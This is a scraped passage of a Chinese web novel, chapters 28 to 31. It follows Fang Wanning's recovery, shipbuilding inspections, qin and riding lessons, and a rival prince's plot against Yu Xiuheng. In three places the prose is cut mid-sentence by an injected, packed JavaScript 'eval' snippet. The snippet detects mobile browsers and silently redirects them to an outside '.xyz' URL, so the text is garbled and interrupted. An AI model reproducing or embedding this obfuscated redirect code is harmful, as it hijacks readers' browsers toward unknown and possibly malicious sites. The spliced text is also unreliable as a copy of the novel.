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方绾宁将信久久按在胸口,像是有温度般暖着她的心房。同族之间本不值得太客气,但一想到他也伶仃,他也褴褛,这道热度瞬间就在她的骨骼里留下了一道深深的淤青。 “文晓姐姐!”方绾宁突然挣扎着起身。 候在一旁的文晓见状连忙过来扶她,“方姑娘,你这是要干嘛?回信嘛?文晓可以代笔。” “不用,快扶我起来。”方绾宁下了床,呼吸间尽是拉扯着的痛,“我自己回。” 她走到书案边,抽出一张信纸,文晓见状赶紧过去研墨,只见方姑娘提笔在那张信纸上写下五个字:乖,等我回来。再没有其他。 她吹干那张信纸,抬手递给文晓,“麻烦文晓姐姐了,找个信封装一下拿去给信使吧。” 文晓接过,又听见方绾宁说:“哦,对了,中午我没吃饱,晚饭让厨房早点做,多做点,药也给我熬浓些,我得赶快把伤养好了,王爷信里的那什么湖我还没去呢,再不去就该落叶了。” 方绾宁站在桌前,呼吸着略带一丝热气的风,肺里逗留许久的郁闷之气终于被她吐纳了出去,整个人精神了不少,被投进屋里的太阳一照,忍不住伸了一个懒腰。 “哎哟~”她忘了自己还是个伤员,含胸痛呼,但这点疼痛也影响不了她阔别已久的好心情,她眉舒目展,容光焕发。 晚饭过后,方绾宁因为吃的太多有点撑,让文晓牵着在院子里消食。 “嗝~”她们转了几圈,方绾宁就打了几个饱嗝。 “方姑娘,下次可别这么吃了。”文晓担忧。 “别担心,只是因为这具身体还没适应过来,这种营养满肚的感觉,我才十四,正是干饭的好时候,少吃了一筷子都得影响我长身体。” “可东洲的女子都是以苗条纤弱为美,照方姑娘你这样吃下去……长成粗腰圆手那该如何是好啊。” 方绾宁轻笑,“就你们菜里这点油水还想胖死我呢?纯属瞎担心。而且我还要长高呢,长高!”她强调,“吃少了我还咋发育。” 她脱开文晓的手,“没事,不用搀着我,我脚又没受伤。” 等她养好了伤,就让王霄带她去练练骑马,方绾宁上辈子还一直想学个什么乐器来着,没钱又没时间,这下倒好,古代生活没滋没味,又远离网络和手机,可算被她逮到机会了,这日子是一天也不能再浪费下去了,多学几个技能,以后办啥事都靠谱。 方绾宁又“哐哧哐哧”的在院里暴走了好几圈,终于在呼吸变得急促,喘息不止时停了下来,她抚着自己的胸口,让小心脏渐渐平稳。 “方姑娘,回房休息吧,大夫都说了让你静养的。” “嗯,行。”她扶着文晓的手进屋,一边交代“文晓姐姐,你明天让厨房给我炖点什么羊排,煎点牛排之类的,让我补补。” “可大夫说姑娘你的饮食要清淡。” “他懂个屁,我这是以形补形,而且补充点蛋白质准没错。” “……什么质?” “姑娘我的雄心壮志!” 29.悲悯 第二十九章 又是一个满天星斗的夜晚。 方绾宁养了十几天的伤总算有点成效,如今她呼吸间已经没了拉扯着的撕痛感,每天干饭三大碗,她总觉得自己好像高了一点,但问文晓又说没有,她忍不住惆怅起来,在院里的躺椅上一边看星星,一边想着咋能让自己抽条,她和人说话老盯着人家下巴,有点累。 文晓将切好的小香梨放在方绾宁手边,又从屋里拿来一条薄毯盖在她腿上,“方姑娘,夜晚露水重,可别在院子待太久。” 方绾宁拿过香梨,一口塞嘴里,含糊的答应着。咽下去后向文晓随意问道:“文晓姐姐,你知道有什么秘方能让人长高不?” 她略微思索一番,道:“文晓不知。” “那俞修……那王爷是怎么长的?那么高?”方绾宁疑惑,身边的男子好像都不矮,方清砚,王霄,关珏都是一个赛一个的高个子,林小迟那双开门身材不说也罢,俞修衡也是清瘦的大高个儿……难道是东洲的基因就是如此?那怎么自己跟张茶几似的。 “许是应京的风水养人吧。”文晓回答。 方绾宁听见这个地方,嘴角勾出一抹冷笑,“养人?”不吃人就不错了吧。 文晓没注意到方绾宁的情绪,听见她似乎对应京感兴趣,随即自顾自的说了起来,“是啊,应京极盛,流景、光月二河贯穿全城,屋宅瓦舍、高楼庙宇星罗棋布,京城的面积更是比得上四个晋照都有余,人口容纳足足八十万余人,城内穷奢极靡,花光满路,萧鼓喧空,如果遇到庆典,更是泱泱不夜城。” 文晓面露神往之情不自知,方绾宁语气生冷,出声说道:“看来文晓姐姐对应京挺怀念的。” 文晓听后,收敛起神情,低声回答:“文晓不敢。” 自那天听邓维说起俞修衡在应京城发生的事后,方绾宁本不敢再去想,她害怕触摸到背后他不愿意提及的往事,方绾宁还记得在进齐陵城的前一夜,俞修衡在河边与自己说话时的神情,明明是那样一个意气风发的少年郎,她以为他过得很好,可谁知道,华丽的外袍下藏满了蚊蝇。 “文晓,”方绾宁冷着脸喊了她一声,随即站起身回了屋,“你进来。” 这是第一次,文晓被方绾宁用这种语气说话,她心里一紧,跟着走了进去。 方绾宁坐在桌前,目光锐利,她盯着文晓,正色道:“跟我说说,王爷在应京的一些事吧。你和赋思跟在他身边多年,应该什么都知道。” 文晓见她收起来平时嬉笑的神情,瘦小的身躯坐在那,被身后的烛火映得阴暗分明的脸是那么端庄,她陡然跪了下去,“方姑娘,这个王爷曾交代过,不可对你透露他在应京的事儿。” “你不说?其实我也自有办法,他曾说过他原是太子,如今成了亲王封于青州,这么大事儿,我随便花点钱让人去应京打听打听就能知道,只是费点时间而已。”方绾宁语气满不在乎。 文晓跪在地上的身影抖了一下,但随即说道:“姑娘打听不到的,私下议论王公贵族都是重罪。” 方绾宁也不慌,缓缓说道:“我有个朋友,在广安做点小生意,但据说还做的不错,在东洲挺有名的,文晓你应该听过永德钱庄吧,那是他家开的。你说我要是拜托他的话,还能不能打听到?” 文晓慌了,永德钱庄她当然听过,林氏家大业大,是东洲有名的富商,盐铁矿还有朝廷分拨的经营权,在官府那也是说得上话的。她把头再压低了一些,不知道该如何回答。 “我只是想知道一些,明面上大家都知道的事儿,绝对不干涉皇家的秘辛。文晓,我自己也能打听得出来,但我不想从旁人的嘴里听到俞修衡的灾厄和苦痛,你明白嘛?”方绾宁咬住嘴唇,声音忍不住颤抖,“你要是想说,就去把门关上,不想说就离开吧,明天我自会去查。” 少顷,蜡烛在房内发出噼啪的响声,文晓站起身去将门关上了。 屋外是凌空的月和一地的蟾光。 门内是旧往的噩梦和缠绵的悲悯。 …… 直到文晓离开房间后很久,方绾宁还是没有缓过神,她踉踉跄跄地走向床榻,一头栽了进去,发出呜咽,将软被打湿了个彻底。 第二天,方绾宁起了个早。文晓进来的时候,方绾宁已经穿好了衣裳。 “方姑娘,要出门?” “嗯,去水沽,快一个月没去了,去看看进度。”方绾宁将头发扎起,绑上一条抹额,“准备马车吧。” 文晓点头立马下去准备了。 方绾宁在房里草草洗漱了一番,迎着雾气出了门。 院门外是许久未见的王霄,见方绾宁出来抱拳行了礼之后便跟在了她后面。 方绾宁说:“伤好了吗?” “已无大碍,谢方执事关心。” “嗯。” 两人淡漠的简单对了话。 方绾宁一到水沽便立马去了工坊看战船,工匠们许久未见她出现,纷纷停下来和她打招呼。张渠一见她,赶忙跑过来,神色一凛,低声道:“你怎么来了?伤好了?” “早好了,我身体素质那么强。”方绾宁和他说着话,一个工匠跑了过来,对着方绾宁言辞急切的说:“方执事,您可来了,水沽好久都没见你的身影,沉星湖好玩嘛?” 方绾宁有点懵。张渠小声解释:“前段时间你不是养伤嘛。我们对外说的是你去沉星湖游玩去了。” 方绾宁了然,咧嘴对着他笑,她认得这个工匠,四十几岁,姓陈,手艺了得,“陈师傅,沉星湖特别漂亮,不过许久没来看战船,不知道你们建造到哪儿一步了?” 陈师傅回答:“龙骨搭建完毕,在立甲板的承重梁了。前几天遇到了一个难题,因为方执事不在,我们只好自己解决了,今天正好你来了,你快来看看我们的方法对不对。” 说着陈师傅就领着方绾宁走到战船的底板上,向她介绍起了二层的重型支架。 “不知道这样做对不对,我们加大的肘木的厚度,竖立的肘木向上延伸,悬挂的肘木向下,横向的肘木则是平行与甲板。这样让船体更加坚固,夹板的承重也进一步上升。” 方绾宁对他露出肯定的眼神,“挺好的,你继续说。” 张渠接过话,继续道:“由于战船的体积巨大,与之匹配的桅杆也非常粗和高,所以前段时间在想用什么方法可以固定在船底部而不倾倒,你没来,不知道和谁商量,我们几个和工匠们就一起研究了几天,在船底造了一个大型的桅步固定,你来看看行不行。” 方绾宁跟着张渠的指引去看了那个桅步,很精妙,果然符合古代人的智慧,夸赞道:“很好,这个方向没问题,你们还打了一圈铁钉吧,和二层船舱相结合,主桅杆不会倒的。” 俩人听见方绾宁的话瞬间扬起了笑脸。 方绾宁接着说:“下一步就是船壳了吧。” 张渠应道:“对,估计再过个三四天就开始建了。” “那你们可以开始着手准备涂装了。” “什么涂装?”两人又听见一个新词,皆是疑惑。 “海水可不比江河里的水,海水是有腐蚀性的,长期呆在海里船底不仅会被海水侵蚀,还会附着一些海洋生物,时间一长也是非常破坏船体的,所以船壳的涂料除了防水还要防腐和防止蛀船虫等海洋生物的侵害。” 方绾宁提出新问题。 “那我们该如何做?”张渠开口问。 方绾宁摊手,“不知道啊,你们是造船的,又不是我。” 俩人皱眉,露出一张苦脸。 方绾宁知道也不会和他们说,这种伸手就要答案的习惯真的该改改了,她留下了问题,拍了拍二人的肩:“我不在的时候你们做的很好,相信这次你们也一样可以。对了,记得集思广益,只靠你们两个人是没办法造出一条好船的,群众的力量才是庞大的,不要闭门造车哦。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14642647|154004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>说完方绾宁便不管他们了,围着造好的船架开始一处处检查。榫卯结构已经用的很熟练了,加上铁钉的加固,整艘船做的非常细致,看得出工匠们的用心。 她看完了主船,去了隔壁水塘看小型的鹰船,机动船只。相比起战船的巨大船体,这些船只要得就是敏捷了,所以体型较小,与之前已在东洲有过的船只很相近,所以这边进度还是挺快的,已经开始装帆了。 方绾宁在水沽待了整整一天,细细的检查了用料和装载细节,工匠的状态和后续的进展。 坐上回程的马车时,已经是华灯初上了。 方绾宁掀开车帘,看了一下经过的街景,揉了揉眉,对外面的王霄说道:“转道去都昌大街吧。” 方绾宁在都昌大街找了一处酒楼,要了个二楼临窗的位置坐下,点了几个菜,开始慢慢的吃。 望着外面繁华热闹的街景,方绾宁突然想到了俞修衡,不知道他早年在应京城的时候,是不是也是这样,一个人坐在桌前,听着外面喧闹的笑声,吃着精致的菜肴,直到它们彻底冷掉。 方绾宁停下了筷子,许久都没有动作。让站在一旁的文晓和王霄都将目光落在了她身上。 方绾宁如今的年纪正是不辩男女的时候,今日还穿了个松绿色的衣裳,纤细的腰间扣着白玉带,窗外的风吹进来,将抹额的带子吹得乱扬,鬓边的发丝经过一天的辛苦工作已经有些凌乱,现在正杂乱无章的在风里舞着。 俩人怔怔盯了好一会儿,厢房外传来一个小姑娘的声音:“公子,您听曲儿嘛?” 方绾宁回过神,看向门外的人。一个大概十岁左右的小女孩牵着一个瞎眼的老头,老头身后背着一把琴,像是卖艺的。她见俩人衣衫虽有补丁,但整体来说还是十分干净,便让二人进了来。 “公子,你想听什么?”小女孩端了板凳让老头坐下,看向方绾宁问。 方绾宁对东洲的唱曲不是很了解,便说:“都行,你们唱什么唱的最多便就唱那个吧。” 那老头将琴放在自己膝上,双手搭上去,一边的小女孩清了清嗓,身段挺直开始唱。 结果方绾宁听了半晌都没听出这小曲唱的是什么,可能是晋照这边独特的语调吧,只觉得小姑娘嗓音婉转,一旁的琴声也搭配得正好。 倒是一旁的文晓红了脸,她见方绾宁一脸正色,便走过去贴在她耳边悄声说:“方姑娘,这唱的可是青楼里的艳曲—《锦花笑》,你还是别听了。” 方绾宁一脸不可置信,可是这小女孩唱的正经一点也不像啊,但看文晓红得欲滴的脸颊,还是让他们停了下来。这什么世道,居然让年纪如此小的孩子,尽唱这么些个虎狼之词。 她有点怒气萦绕在脸上,小女孩见了以为是她不喜欢,赶忙道:“公子,可是不喜欢?这是小月儿唱的最多也是最好的曲子了,我还可以给您换,换成《衾被摇》怎么样?” 听到这个名字,方绾宁面色更是一沉,她向那小女孩说道:“不用唱了,钱我照付。你们走吧。” 文晓过去给了银钱,那两人道完谢后便离开了,小女孩离开房间时盯着桌上的菜肴眼神太炙热,让方绾宁难以忽略,便对着他们说道:“等等,你们把这菜带走吧,反正我也没胃口了。” 小女孩进门向方绾宁磕头,“谢谢,谢谢公子!” 回兰苑的马车上,文晓对方绾宁说:“还以为方姑娘会帮那二人。” “我不是已经帮了?” “文晓以为方姑娘会多多给些银钱之类的。”之前路上遇到过一伙乞丐,当时方绾宁可是给过十两银呢。 “嗯,也对。那过几天再去给他们送银子去。”方绾宁觉得那瞎眼老头的琴弹得是真的不错。 文晓:“……” 方绾宁下车回到院子,扭头对王霄说:“王霄,明日帮我准备一匹马,我要学骑马,你可得好好教。” 王霄跟在身后,一板一眼的应了。 30.手书 第三十章 青州。 前几天,城里刚经历了一场强降雨和强风天气,还好城中房屋不高,构造极其坚固踏实,没有出现倒塌之类的情况,排水系统也非常好,百姓的损失并没有多大。青州府衙处理这些很有经验,俞修衡就让他们放手去做了灾后重建,除了临海有一部分的房子泡了水,就是海岸边杨老伯的小屋被风吹得掀了盖子,此时俞修衡正带着人为他重新搭建屋顶。 俞修衡问了张冠,听他描述,这种天气每年夏天都会在青州来上个几次,他们称这种来自海上的大风叫“飓风”,俞修衡知道,其实就是台风。 “这种来自海上的风,一般多会出现在夏季,常常伴随着风暴,降雨。不过青州已经建城近百年,城内的房屋楼舍建造的时候都很注意,不会因为这种天气就倒塌,请王爷放心。”张冠在停雨后的第一时间就和俞修衡来到了临岸口,如今“飓风”肆掠了青州三天,终于在今早散去了。 “嗯,本王已经派人清点了城内的损失,相信很快就能有消息。”俞修衡站在岸边,看着浑浊的大海,风还是吹得很强劲,让他的衣袍在风里猎猎作响。 他原本想让杨老伯搬去城内,谁知他死活不肯,非要呆在海岸线边上,“你们懂什么,值钱的东西老头子我早就搬去里边了,那小屋里都是些日常器具,等太阳一出来,晒干了就能用。” 张冠站在身边本想呵斥这个对待俞修衡无礼的老头,谁知王爷也不生气,还问:“杨老伯,你说你前几天就知道飓风要来了,提前将东西搬去了海岸里边?” 老渔夫知道这个王爷是好人,之前经常还和宁丫头来看望自己,他语气放软了,对他们解释:“是啊,我在青州待了那么多年,看个天气还是没问题的,六天前,海里的浪就不对了,鱼虾上浮了不少,聚集在浅海,天上的云也不对,我就提前将好些东西,搬到了岸里边一处高地上,等飓风走了,我再回来。” “那你为何,不提前将这些告知城内的百姓?”张冠语气愤愤,朝老渔夫说。 老渔夫真是人老不怕死,面对穿着官服的张冠也并没有多少好口气,“有什么好通知的,这飓风在海上盘桓数天才登岸,威力早在海上就散了不少,就是让青州下几天雨罢了。” 张冠像是被一口气噎在了喉咙里。而一旁的老渔夫还在说:“看这规模估计是今年最后一场飓风了,要是按照青州的习俗,最后一场飓风后的十五天,就是海神节。” 老渔夫的神思飘远,“海神节,好多年没过过海神节了,真是想念啊。” 这句话让张冠也不由自主的陷入回忆,破败的荒城里,藏着流光溢彩的美梦。 俞修衡在回程的路上,也问起了海神节,“据说青州之难就是始于海神节,这节日对青州人来说很特殊吧。” 张冠望向路旁被吹断的树枝,想了一下才回答他,“当然,青州许多产业都是靠海维生,每次飓风之后,海岸上都会成片成片堆积大量鱼虾,还有更深的海里卷来的未知鱼类,所以每次飓风之后的这种现象我们都会视为海神的馈赠,之后逐渐兴起海神节,百姓们每次在出海,或者家中重大事件前都会祈求海神的庇佑,保佑出海的人们平安归来,保佑岸上的人们也万事顺意。每年海神节还会吸引东洲各地的人前来,真是一年一度的盛事,但自从海寇来袭,海神节就再也没办过了,海神庙也已经荒了很多年。” “一定会有再次见到海神节的一天,张大人,你要相信我。”俞修衡行走于青州潮湿的街道上,说这句话的时候没有看张冠,而是看向了万家的屋檐。 俞修衡回到沧澜阁,在大红酸枝圈椅里闭目养了一会儿神,又走到条案前拿出还未刻完的印章,接着继续雕。 本应该在上次寄信的时候就该刻好的,但青州的事务实在是繁杂,加上上次又不小心毁掉一块,这才耽搁了下来。 俞修衡在莹绿的石头上细细的琢,安静的房里只剩下沙沙的刻刀声。 几天后,俞修衡犯了难,印章上的花纹已经全雕刻完了,只剩印章上的字还没下手,他不知道该刻什么字。 正当他在苦想时,关珏带来了一封信,一封来自应京的信。 晋照的消息略快于青州,所以郁见深昨天也收到了这个来自应京城的消息。 消息很简单:承王俞修寰于九月二十朝会,册封东宫太子位。 “嗯,比我预计的时间早了一点。”郁见深将看过的消息烧掉,重新在书案上快速写下几封信,他唤来手下的人,将其中两封交到他们手上,“两封信,一封快马送去边城平西,一封暗中送去应京。” 交代完,郁见深将重要公文塞进怀里,系上披袍往屋外疾步走去,一边继续朝着手下的人继续吩咐道:“把王霄叫来,再清点人数十人,备马,立即返回青州。” 直到郁见深在兰苑外都翻身上马了,王霄才堪堪赶到,他拱手行礼“郁先生。” 时间紧急,郁见深嘱咐:“我给你留了十人,在晋照好好保护方姑娘。”然后从怀里掏出一封信,递给他,“这封信交给淮南观察使邓大人,让他照着这上面做就行,不用向方姑娘说明我们去哪儿了,一切如常。” “是,属下遵命。” 说完,一行人便火速出城往青州赶去。 邓行闻读完郁见深留下的信,也想不到重立太子会那么快,兄长返回青州肯定是去保护渊王殿下了,至于他在信里交代的事儿,倒是不难办。 他沉思片刻,唤来下属,“你立马去水沽……” 应京。 俞修寰终于得偿所愿,在承王府摸着宫里送来的太子朝服,脸上是掩不住的笑意。 受封大典就在三天后,不日,他俞修寰终于要住进那旭阳宫了。 侍立在一旁的户部尚书,姜简,拱手道贺:“恭喜承王殿下,实现多年心愿,入主东宫之位!” 刑部侍郎许征今日穿着常服,一身海清色襕袍,手里摇着一把折扇衬得他风度翩翩,“哎,姜大人,可要改口叫太子殿下了。” “是是,如今已是太子殿下,一人之下万人之上。整个东洲除了陛下,已是无人能及的尊贵。”姜简满脸谄媚之色。 俞修寰笑意更浓,“本宫能走到今日,离不开二位大人的从旁协助,定不会忘了你们的功劳。” 两人又是一番恭维,房内充斥着俞修寰高涨的情绪,连带着屋外的月色也更加明亮。 许征突然出声:“既然殿下已然登位,那青州的那位,还留嘛?。” 俞修寰将手搭在面前的蟒袍上,抚摸着衣面绣着的龙爪,沉吟片刻道:“昨日,本宫已经试探过父皇对那位的态度。” “如何?” 俞修寰嗤笑:“已是厌恶至极。” 姜简兴奋:“那下官这就去安排暗卫,前往青州,为殿下清理祸患。” 俞修寰回身坐到椅子上,摩挲着手中的墨色扳指,不着痕迹的点头。 姜简接到示意,立马下去办事,却被许征打断,“慢着,殿下。” “许侍郎这是何意?”姜简问。 许征走到堂前,将扇子随意的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14667104|154004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摇着,“莫慌啊,姜大人。”他朝俞修寰走近,“殿下,您忘了那渊王手中还有江太傅的手书嘛?” 俞修寰问:“你是说那封江太傅临终前,曾亲手写下的东洲贪官污吏一百八十人的手书?” “正是。” “可当初父皇曾向他问过这本手书的内容,好像并非是什么贪官名册,似乎就是封普通的家书。”这么重要的东西,当年风光霁月的俞修衡能不交出来?俞修寰可不信。 “但下官得到过确凿的证据,渊王当初入中书省,曾对六名官吏进行过盘查,这六名官员分布东洲各地,但最后都以贪污的罪名被了判斩首。” “你是说,他手里有那本手书在帮他。” “要不然凭什么在入中书省的第一年就做出如此功绩。” “难道不是那个郁见深?” 许征即可提出异议,“怎么可能是郁见深,那时候的郁见深可是戴罪之身。” 俞修寰陷入沉思。 是啊,当初俞修衡可只有十岁,郁见深作为天水郁氏的嫡长子,正是刑罚加身的时候。如果不是手里有那份名册在帮他,加上江太傅留下的满朝威望,就凭他怎么可能做得到。 “那许侍郎有何高见?”俞修寰正了正神色,问道。 “自然是让他交出这份名册,我们可以许诺他只要不出青州,就可保他终老。” “不杀他了?”姜简问。 “是杀不得,下官也是对他恨之入骨,但为了太子殿下的大计,又不能杀!”许征言辞恳切,眉眼微皱。 “可留他在世,终究是隐患,当年他的贤德之名可是传到了周边各国,如今的东洲边鄙之地都还用着他改良的农具,染江下游还留着他设计的水坝,护佑登州地区的百姓免遭洪涝,至今还传颂着关于他的童谣,渊王不死,我们太子殿下如何立得住民心!”姜简厉声道,自古贪官怕明君,他可不能让他还留存于世。 姜简的话,正好刺中了俞修寰的心,只要他俞修衡一天不死,自己一辈子都将活在他的阴影之下。 而许征却不同意,他将手里的扇子“哗”的一收,转身过去与姜简对视,眼睛里露出骇人的闪光,“那他死了,就天下太平了?太子殿下就能高枕无忧了?到时候这封手书一旦面世,会让多少的人心惶惶?朝廷会流多少血?这血里又有多少是我们身边之人,没准儿,那名册上就有你,姜简姜大人的大名!” 许征转过身对着俞修寰又是一揖,“殿下,杀渊王是泄一时之愤,可如果让殿下在朝堂无一人可用,身后无一人可信,那万世美名又有什么用。如今之计,还是先将名册拿到手,青州弹丸之地量他也翻不出什么风浪,而今后,年深日久,偌大的东洲还怕传颂不了殿下的盛名?” 俞修寰坐在主位上,房间华丽又空旷,蜡烛的光在空气里跳动,他的心忍不住一紧,他不能再经历一次当初的事了,他在深渊里待了那么久,好不容易得到太阳的照耀。 而今,谁想让他再坠入深井,谁就要立马被凌迟! 俞修寰闭了闭眼,将情绪重新整理一番,对着许征说道:“许大人不顾深仇,还如此为本宫考虑实在欣慰,这样吧,派人先去谈判,如果俞修衡愿意交出名册,那就饶他一命。” 只要拿到了名册,再杀他也不迟,俞修寰冷笑。 “如果不交,那就就地诛杀,之后就算掘地三尺也要将那本名册找出来。”俞修寰顿了一下,“如果找不到,就烧了青州吧,反正也是一座荒城了。” 让俞修衡永永远远的埋葬在那萧索之地。 31.秦梦楼 第三十一章 方绾宁近日老去北同巷的一家人里学琴。教琴的人正是那天在酒楼里被小姑娘搀着的瞎眼老头。 一家人姓蒋,长期在晋照唱曲卖艺讨生活,瞎眼老头年轻时的琴艺还是极有名气,可年岁渐大,眼睛也不好了之后,钱财散尽,浑浑噩噩只能潦倒度日。 幸亏八年前收留了一对兄妹,有了他们的陪伴,日子总算有点期待。 “方公子,你这勾弦和挑弦都学了七天了,怎么还如此生涩。”说话的是那唱曲的小女孩,十一岁,叫蒋时月,梳着双螺髻,绑着红色发带,十分娇俏可人。 方绾宁也汗颜,学这琴咋那么难,还以为开始会学些乐理,谁知先学指法,光是基础的这两种,她就有些手忙脚乱,“额,可能我比较笨吧。” “方公子可别这么说,您可是交了钱来学琴的,没把您教会是老夫的错。”蒋伯的眼睛不好,只有些光感,看人是完全不行的,还好几十年的抚琴让他完全能盲弹,让一旁的蒋时月辅助,教方绾宁还是没问题。 “那我一定多练。”他们在小院里支了一张桌子,当作方绾宁的琴桌。每天下午,她准时过来报道,学两个时辰的琴。 住在北同巷的人,家境都不太好,这里的房子破旧,租金相应来说也低,以致周围也老是聚集着些三教九流的人。 这些日子以来,方绾宁每次来学琴,王霄就带着两人守在院门前,横眉目立的模样,倒是让这边的治安好了一点。 文晓陪在院子里,听方绾宁继续练指法,古琴发出的声音细腻温润,尽管还不成曲调,但也还算能入耳。 又练了一盏茶的功夫,里屋房门突然被一人大力推开。 那人看了方绾宁一眼,走到井口提溜上来一桶水,先用水瓢舀了一瓢喝了个干净,然后倒在一旁的水盆里就开始洗漱,旁若无人,怡然自得。 一群人因为他出房门时发出的声响正直直的看着他。 “你们看我干嘛?不学琴了?”这是蒋时月的哥哥,蒋时彦,十七岁,他在城中的秦梦楼里当个乐师,小小年纪,一杆萧吹得极好。 他和方绾宁不对付,老是挖苦她,但又因着方绾宁的学费让自家的爷爷和妹妹不用再出去卖唱,又不得不对她好脸。 “哥,又要去楼里了?”蒋时月蹦蹦跳跳的走过去,挽着他的胳膊。 蒋时彦擦了擦脸,“嗯,今晚楼里有新舞姬上台,我得早些去练曲。”说完进屋换了身衣裳,就出门去了。 开门前,还不忘和方绾宁打招呼,“方公子您受累,天赋低也不是您的错,只要勤加练习,终有一日定成大才!” “你……”方绾宁对他翻了个白眼,决定无视他,继续练琴。 直到酉初时刻,方绾宁才回到兰苑。 “郁先生办事还没回来嘛?”几天前郁先生就出门去了,今日还未归,方绾宁忍不住询问王霄。 王霄回答:“郁先生出门前就嘱咐过,这件事或许会耽搁些时日,方姑娘不必忧心。” “嗯。”方绾宁只是觉得自郁先生走了之后,兰苑更显得空旷,让她时而觉得寂寥。 不过还好,最近方绾宁时间排得很满,上午学骑马,下午去北同巷学琴,晚上回来再练会儿字,隔三差五还要去水沽巡视战船。时间管理大师非她方绾宁莫属啊。 方绾宁的字经过这几个月的练□□算是能看了。尽管还是比不上俞修衡的锋利飘逸,但还是能达到个端端正正。方绾宁还是很欣慰,本想在这一次给青州的回信上好好表现一番,可谁知,这次的来信时间却迟了好些天。 “许是青州公事繁忙吧。”方绾宁看着窗外已经开始枯黄的树叶,喃喃自语。 天气开始逐渐转凉,最近方绾宁早上学骑马时也加了衣裳。 刚开始学骑马时原本还是在郊外的一处马场,不知怎么被邓行闻邓大人知道了自己在学,不仅邀请了她到城里自己的马场,还送了她一匹枣红色的小马,方绾宁十分喜欢。 方绾宁个子不高,成年的马匹她蹬不上去,起初还要踩着王霄的大腿才能爬上去。邓大人送了这匹马之后,方绾宁就轻松多了,那马还在幼年,身量不高,性格温顺,毛发锃亮,每天方绾宁一到马场都要在它身上蹭好一会儿才会牵出马圈。 王霄看着她对这匹马爱不释手,面上忍不住爬上不悦的情绪,“方执事,之前邓维那样对你,你不该接受邓大人的马。” “为什么?这和马有什么关系?” “接受了,不就代表你原谅邓维了嘛。” 方绾宁将马牵出马圈,王霄跟在后面等她回答,“没什么原不原谅的,我又不恨他。” 方绾宁没将王霄的话放在心上,她摸了摸马鬃,踩着脚蹬上了马去,握紧缰绳,轻夹马腹,“驾。” 方绾宁觉得骑马比练琴实在是简单多了,也可能是这匹马真的很适合她,她骑着马在马场走了一圈又一圈,最后停在了王霄面前。 “怎么样?可以让马跑起来了吧,我觉得这匹马超棒!”她兴奋的说。 王霄走上前,将马笼头上的革带牵在手里,摸着马头对方绾宁说:“嗯,这匹马是来自平西边上的云楼大漠马,四肢强壮,耐力十足,这匹马是母马,性格也温顺,等它长大了会更好看。而且大漠马记忆非常好,最擅识途。” “真的啊!那我想好它的名字了。”方绾宁趴在马上抱着马脖子,“我要叫它高德。” 王霄也翻身上了马,他递给方绾宁一根马鞭,指导她该如何在飞奔的马上保持平衡。 “……那方执事你可以试着用马鞭抽一下马屁股,让它跑起来。” 方绾宁将缰绳捏得再紧了一些,按照王霄的话,放松大腿,拿起马鞭一扬,抽在了马屁股上。 马儿飞奔出去,方绾宁被这突如其来的速度吓得大叫,”啊,慢一点!”她急忙扔了马鞭,双手握住缰绳,尽量让自己放松,但双腿却不由自主地夹得马腹越来越紧,马儿也跑的越来越快,方绾宁在马上根本坐不住,东倒西歪,眼看就要被摔了下来。 “哇,救命……高德!停下来,高德!” 关键时刻,王霄骑着马追了上来,在方绾宁即将摔下来的时候,飞扑过去,将她抱着一起摔在了草场上,还好王霄垫在下面,方绾宁没受什么伤。 “王霄,你还好嘛?”她立马起身查看王霄的伤势。 王霄也立马站了起来,捂着还在颤抖的手,“没事,方执事。可能是第一次跑马还有些不适应,多练习几次就行了,今天先到这吧。“ 方绾宁看见了他还在打颤的手,上前想去查看一下伤势,王霄却退后了一步,她只好作罢。 远处的高德已经停了下来,方绾宁指着它,“那我可以把高德带回兰苑了嘛?” 王霄回答:“等方执事能在跑起来的马上不摔的时候,就可以了。” “好吧。”方绾宁无奈。 可能早上没能如愿把高德带回去,方绾宁下午练琴的时候有些心不在焉。 “方公子,你今天不开心嘛?”蒋时月突然凑近问她。 方绾宁看着突然凑到眼前的人,吓得往后一缩,指尖在琴上拉出一个大大的嗡声。 “没有啊。”方绾宁回答她。 蒋时月嘴角露出坏笑,“我以前不想练嗓的时候,跟方公子刚才的神态一模一样。” “什么神态?” “就是有点心烦的样子。”蒋时月忽然拉着她站起身,“走,今天我带你去个好地方!” …… 秦梦楼。 方绾宁看着这几个大字就觉得脑瓜疼,这算烟花柳巷之地吗? “方公子,别愣着啊,走!听我哥说前几天那新来的舞姬可走俏了,连登了三天台,次次座无虚席。”蒋时月拉着方绾宁就要进去,被文晓拦住了。 “方执事,此地鱼龙混杂,还是不去为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14680867|154004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妙。” 